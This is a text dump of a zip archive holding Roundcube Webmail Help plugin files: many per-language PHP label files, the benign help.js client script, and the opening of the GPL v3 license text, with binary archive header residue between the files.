$labels['help'] = 'Ajutor';
$labels['about'] = 'Despre';
$labels['license'] = 'Licența';
$labels['csrfinfo'] = 'Citiți mai multe despre CSRF și cum vă protejăm';
PKh�\p}�Kkk plugins/help/localization/eo.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Helpo';
$labels['about'] = 'Pri';
$labels['license'] = 'Permesilo';
PKh�\>�y#plugins/help/localization/fr_FR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Help';
$labels['about'] = 'About';
$labels['license'] = 'License';
$labels['csrfinfo'] = 'Apprenez-en davantage sur les attaques CSRF et comment nous vous protégeons';
$labels['arialabelhelpcontent'] = 'Contenu d’aide';
PKh�\�}�qq#plugins/help/localization/hr_HR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Pomoć';
$labels['about'] = 'O programu';
$labels['license'] = 'Licenca';
PKh�\��F�#plugins/help/localization/pl_PL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Pomoc';
$labels['about'] = 'O programie';
$labels['license'] = 'Licencja';
$labels['csrfinfo'] = 'Przeczytaj więcej o CSRF i w jaki sposób zabezpieczamy ciebie.';
$labels['arialabelhelpcontent'] = 'Treść pomocy';
PKh�\�dxGG#plugins/help/localization/mr_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['about'] = 'च्या विषयी';
PKh�\u��#plugins/help/localization/ja_JP.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'ヘルプ';
$labels['about'] = 'このプログラムについて';
$labels['license'] = 'ライセンス';
$labels['csrfinfo'] = 'CSRFと安全を保つ方法についてさらに読む';
$labels['arialabelhelpcontent'] = 'ヘルプの内容';
PKh�\F��gg#plugins/help/localization/nn_NO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Hjelp';
$labels['about'] = 'Om';
$labels['license'] = 'Lisens';
PKh�\M�qq!plugins/help/localization/ast.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Ayuda';
$labels['about'] = 'Tocante a';
$labels['license'] = 'Llicencia';
PKh�\]u���#plugins/help/localization/sr_CS.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Помоћ';
$labels['about'] = 'О програму';
$labels['license'] = 'Лиценца';
$labels['csrfinfo'] = 'Прочитајте о ЦСРФ-у и како вас штитимо';
PKh�\�$mm#plugins/help/localization/lb_LU.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Hëllef';
$labels['about'] = 'Iwwert';
$labels['license'] = 'Lizenz';
PKh�\�M����#plugins/help/localization/fa_AF.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'راهنما';
$labels['about'] = 'درباره نرم افزار';
$labels['license'] = 'حق نشر';
PKh�\]Bj��� plugins/help/localization/br.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Skoazell';
$labels['about'] = 'Diwar-benn';
$labels['license'] = 'Lañvaz';
$labels['csrfinfo'] = 'Gouzout hiroc\'h a-zivout an CSRF ha penaos e warezomp ac\'hanoc\'h';
PKh�\������#plugins/help/localization/mk_MK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Помош';
$labels['about'] = 'За';
$labels['license'] = 'Лиценца';
$labels['csrfinfo'] = 'Прочитај повеќе за CSRF и како ние те штитиме ';
PKh�\9_9Gdd#plugins/help/localization/kn_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'ಸಹಾಯ';
$labels['license'] = 'ಪರವಾನಗಿ';
PKh�\Νo{��#plugins/help/localization/km_KH.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'ជំនួយ';
$labels['about'] = 'អំពី';
$labels['license'] = 'អាជ្ញាប័ណ្ណ';
PKh�\��#plugins/help/localization/mn_MN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Тусламж';
$labels['about'] = 'Танилцуулга';
$labels['license'] = 'Лиценз';
$labels['csrfinfo'] = 'Бид таныг яаж хамгаалж байгаа буюу CSRF-ын тухай дэлгэрэнгүй унших';
PKh�\M�2k#plugins/help/localization/he_IL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'עזרה';
$labels['about'] = 'אודות';
$labels['license'] = 'רשיון';
$labels['csrfinfo'] = 'נא לקרוא כעת אודות CSRF וכיצד אנו מגינים עליך.';
$labels['arialabelhelpcontent'] = 'תוכן עזרה';
PKh�\�p{��#plugins/help/localization/ga_IE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Cabhair';
$labels['about'] = 'Maidir leis';
$labels['license'] = 'Ceadúnas';
$labels['csrfinfo'] = 'Léigh tuilleadh faoi CSRF agus conas mar a chosnaítear thú';
PKh�\����#plugins/help/localization/da_DK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Hjælp';
$labels['about'] = 'Om';
$labels['license'] = 'Licens';
$labels['csrfinfo'] = 'Læs mere om CSRF og om hvordan vi beskytter dig';
$labels['arialabelhelpcontent'] = 'Hjælp indhold';
PKh�\f���#plugins/help/localization/sl_SI.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Pomoč';
$labels['about'] = 'Vizitka';
$labels['license'] = 'Licenca';
$labels['csrfinfo'] = 'Preberite več o CSRF in kako ste zaščiteni';
PKh�\��S�� plugins/help/localization/ar.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'المساعدة';
$labels['about'] = 'نبذة عن البرنامج';
$labels['license'] = 'الترخيص';
$labels['csrfinfo'] = 'إطّلع على المزيد حول CSRF و كيف  نقوم بحمايتكم';
PKh�\�unn#plugins/help/localization/si_LK.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['about'] = 'පිළිබඳ';
$labels['license'] = 'බලපත්‍රය';
PKh�\"]z���#plugins/help/localization/de_DE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Hilfe';
$labels['about'] = 'Über';
$labels['license'] = 'Lizenz';
$labels['csrfinfo'] = 'Erfahren Sie mehr über CSRF und wie wir Sie schützen';
$labels['arialabelhelpcontent'] = 'Hilfe-Inhalt';
PKh�\�i9
��#plugins/help/localization/sv_SE.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Hjälp';
$labels['about'] = 'Om';
$labels['license'] = 'Licens';
$labels['csrfinfo'] = 'Läs mer om CSRF och skyddet mot detta';
$labels['arialabelhelpcontent'] = 'Hjälpinnehåll';
PKh�\�mm plugins/help/localization/ug.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'ياردەم';
$labels['about'] = 'ھەققىدە';
$labels['license'] = 'كىنىشكا';
$labels['csrfinfo'] = 'CSRF ھەققىدە كۆپرەك ئۇقۇڭ ھەمدە بىزنىڭ سىزنى قانداق قوغدايدىغانلىقىمىزنى بىلىڭ.';
$labels['arialabelhelpcontent'] = 'ياردەم مەزمۇنى';
PKh�\�9b�#plugins/help/localization/ko_KR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = '도움말';
$labels['about'] = '정보';
$labels['license'] = '라이선스';
$labels['csrfinfo'] = 'CSRF 및 사용자 보호에 대해 더 많은 정보 확인';
$labels['arialabelhelpcontent'] = '도움말 컨텐츠';
PKh�\�9�oo#plugins/help/localization/gl_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Axuda';
$labels['about'] = 'Acerca de';
$labels['license'] = 'Licenza';
PKh�\��8���#plugins/help/localization/it_IT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Aiuto';
$labels['about'] = 'Informazioni';
$labels['license'] = 'Licenza';
$labels['csrfinfo'] = 'Maggiori informazioni su CSRF e su come ti proteggiamo';
$labels['arialabelhelpcontent'] = 'Contenuto di aiuto';
PKh�\��*$��#plugins/help/localization/es_ES.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Ayuda';
$labels['about'] = 'Acerca de';
$labels['license'] = 'Licencia';
$labels['csrfinfo'] = 'Lea más sobre CSRF y cómo le protegemos';
$labels['arialabelhelpcontent'] = 'Contenido de la ayuda';
PKh�\�Ԋ�#plugins/help/localization/ml_IN.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'സഹായം';
$labels['about'] = 'വിവരം';
$labels['license'] = 'അനുമതി';
PKh�\��k��#plugins/help/localization/nl_NL.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Help';
$labels['about'] = 'Over';
$labels['license'] = 'Licentie';
$labels['csrfinfo'] = 'Lees meer over CSRF en hoe we u beschermen';
PKh�\|�7���#plugins/help/localization/cy_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Cymorth';
$labels['about'] = 'Amdan';
$labels['license'] = 'Trwydded';
$labels['csrfinfo'] = 'Darllenwch fwy am CSRF a sut rydyn ni\'n amddiffyn chi.';
$labels['arialabelhelpcontent'] = 'Cynnwys cymorth';
PKh�\_�p&��#plugins/help/localization/en_GB.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Help';
$labels['about'] = 'About';
$labels['license'] = 'Licence';
$labels['csrfinfo'] = 'Read more about CSRF and how we protect you';
$labels['arialabelhelpcontent'] = 'Help content';
PKh�\ɫ�^��#plugins/help/localization/fo_FO.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Hjálp';
$labels['about'] = 'Um';
$labels['license'] = 'Heimildarskjal';
$labels['csrfinfo'] = 'Les meira um CSRF, og um hvussu tað kann verja teg';
PKh�\|��u��#plugins/help/localization/lt_LT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Žinynas';
$labels['about'] = 'Apie';
$labels['license'] = 'Licencija';
$labels['csrfinfo'] = 'Išsamiau apie CSRF ir apie tai, kaip jie jus apsaugo.';
$labels['arialabelhelpcontent'] = 'Žinyno turinys';
PKh�\vo���#plugins/help/localization/pt_PT.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Ajuda';
$labels['about'] = 'Sobre...';
$labels['license'] = 'Licença';
$labels['csrfinfo'] = 'Leia mais sobre CSRF e como nós o protegemos';
$labels['arialabelhelpcontent'] = 'Conteúdo de ajuda';
PKh�\o��__#plugins/help/localization/el_GR.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail Help plugin                |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/plugin-help/
*/

$labels['help'] = 'Βοήθεια';
$labels['about'] = 'Σχετικά';
$labels['license'] = 'Άδεια χρήσης';
$labels['csrfinfo'] = 'Διαβάστε περισσότερα για το CSRF και το πως σε προστατεύουμε';
$labels['arialabelhelpcontent'] = 'Περιεχόμενο Βοήθειας';
PKh�\ڐ//plugins/help/help.jsnu�[���/**
 * Help plugin client script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */

// hook into switch-task event to open the help window
if (window.rcmail) {
    rcmail.addEventListener('beforeswitch-task', function(prop) {
        // catch clicks to help task button
        if (prop == 'help') {
            if (rcmail.task == 'help')  // we're already there
                return false;

            var url = rcmail.url('help/index', { _rel: rcmail.task + (rcmail.env.action ? '/'+rcmail.env.action : '') });
            if (rcmail.env.help_open_extwin) {
                rcmail.open_window(url, 1020, false);
            }
            else {
                rcmail.redirect(url, false);
            }

            return false;
        }
    });

    rcmail.addEventListener('init', function(prop) {
        if (rcmail.env.contentframe && rcmail.task == 'help') {
            $('#' + rcmail.env.contentframe).on('load error', function(e) {
                // Unlock UI
                rcmail.set_busy(false, null, rcmail.env.frame_lock);
                rcmail.env.frame_lock = null;

                // Select menu item
                if (e.type == 'load') {
                    $(rcmail.env.help_action_item).parents('ul').children().removeClass('selected');
                    $(rcmail.env.help_action_item).parent().addClass('selected');
                }
            });

            try {
                var win = rcmail.get_frame_window(rcmail.env.contentframe);
                if (win && win.location.href.indexOf(rcmail.env.blankpage) >= 0) {
                    show_help_content(rcmail.env.action);
                }
            }
            catch (e) { /* ignore */ }
        }
    });
}

function show_help_content(action, event)
{
    var win, target = window,
        url = rcmail.env.help_links[action];

    if (win = rcmail.get_frame_window(rcmail.env.contentframe)) {
        target = win;
        url += (url.indexOf('?') > -1 ? '&' : '?') + '_framed=1';
    }

    if (rcmail.env.extwin) {
        url += (url.indexOf('?') > -1 ? '&' : '?') + '_extwin=1';
    }

    if (/^self/.test(url)) {
        url = url.substr(4) + '&_content=1&_task=help&_action=' + action;
    }

    rcmail.env.help_action_item = event ? event.target : $('[rel="' + action + '"]');
    rcmail.show_contentframe(true);
    rcmail.location_href(url, target, true);

    return false;
}
PKh�\Ia�U�U�!plugins/help/content/license.htmlnu�[���<h2 style="text-align: center;">GNU GENERAL PUBLIC LICENSE</h2>
<p style="text-align: center;">Version 3, 29 June 2007</p>

<p>Copyright &copy; 2007 Free Software Foundation, Inc.
 &lt;<a href="http://fsf.org/">http://fsf.org/</a>&gt;</p><p>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.</p>

<h3>Preamble</h3>

<p>The GNU General Public License is a free, copyleft license for
software and other kinds of works.</p>

<p>The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.</p>

<p>When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.</p>

<p>To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.</p>

<p>For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.</p>

<p>Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.</p>

<p>For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.</p>

<p>Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.</p>

<p>Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.</p>

<p>The precise terms and conditions for copying, distribution and
modification follow.</p>

<h3><a name="terms"></a>TERMS AND CONDITIONS</h3>

<h4><a name="section0"></a>0. Definitions.</h4>

<p>&ldquo;This License&rdquo; refers to version 3 of the GNU General Public License.</p>

<p>&ldquo;Copyright&rdquo; also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.</p>
 
